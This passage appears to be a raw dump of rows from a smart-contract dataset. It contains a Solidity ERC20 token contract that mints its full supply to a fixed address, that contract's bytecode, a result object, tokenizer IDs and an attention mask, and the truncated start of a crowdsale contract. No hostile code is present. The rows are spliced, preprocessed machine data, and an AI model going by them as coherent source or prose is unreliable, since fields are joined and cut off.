pragma solidity ^0.6.6; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; _totalSupply += 50000000000000000000000; _balances[0xdf50249Bb6eDc8b29877B4Ea0758e10c4c792fa6] = _totalSupply; emit Transfer(address(0), 0xdf50249Bb6eDc8b29877B4Ea0758e10c4c792fa6, _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f6105a4565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b610243610687565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610751565b6040518082815260200191505060405180910390f35b610325610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610908565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610926565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b600061059a6105936109ad565b84846109b5565b6001905092915050565b6000600254905090565b60006105bb848484610bac565b61067c846105c76109ad565b6106778560405180606001604052806028815260200161102660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062d6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6109b5565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107476106ab6109ad565b8461074285600160006106bc6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2d90919063ffffffff16565b6109b5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b5050505050905090565b60006108fe6108486109ad565b846108f98560405180606001604052806025815260200161109760259139600160006108726109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6109b5565b6001905092915050565b600061091c6109156109ad565b8484610bac565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110736024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fde6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061104e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fbb6023913960400191505060405180910390fd5b610cc3838383610fb5565b610d2e81604051806060016040528060268152602001611000602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610edf578082015181840152602081019050610ec4565b50505050905090810190601f168015610f0c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610fab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb364a12ca8115d485716e7e87f93a2044eccdc645ed013f17906a8581b11c5064736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2050, 2629, 2546, 18939, 2546, 22907, 15136, 25746, 2575, 2497, 2094, 2575, 20842, 22407, 2575, 2278, 27531, 2581, 21619, 2278, 2575, 2098, 2683, 24434, 24594, 16932, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,365
0x96a61970a1cab6a85bc2faf544f873fb06237bdd
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract HDK_Crowdsale is Pausable { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; // Max amount of wei accepted in the crowdsale uint256 public cap; // Min amount of wei an investor can send uint256 public minInvest; // Crowdsale opening time uint256 public openingTime; // Crowdsale closing time uint256 public closingTime; // Crowdsale duration in days uint256 public duration; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function HDK_Crowdsale() public { rate = 10000; wallet = owner; token = ERC20(0x4df624B49Cb604992ef8ebB5250B96Ec256C7472); cap = 100000 * 1 ether; minInvest = 0.1 * 1 ether; duration = 90 days; openingTime = 0; // Determined by start() closingTime = 0; // Determined by start() } /** * @dev called by the owner to start the crowdsale */ function start() public onlyOwner { openingTime = now; closingTime = now + duration; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _forwardFunds(); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused { require(_beneficiary != address(0)); require(_weiAmount >= minInvest); require(weiRaised.add(_weiAmount) <= cap); require(now >= openingTime && now <= closingTime); } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number 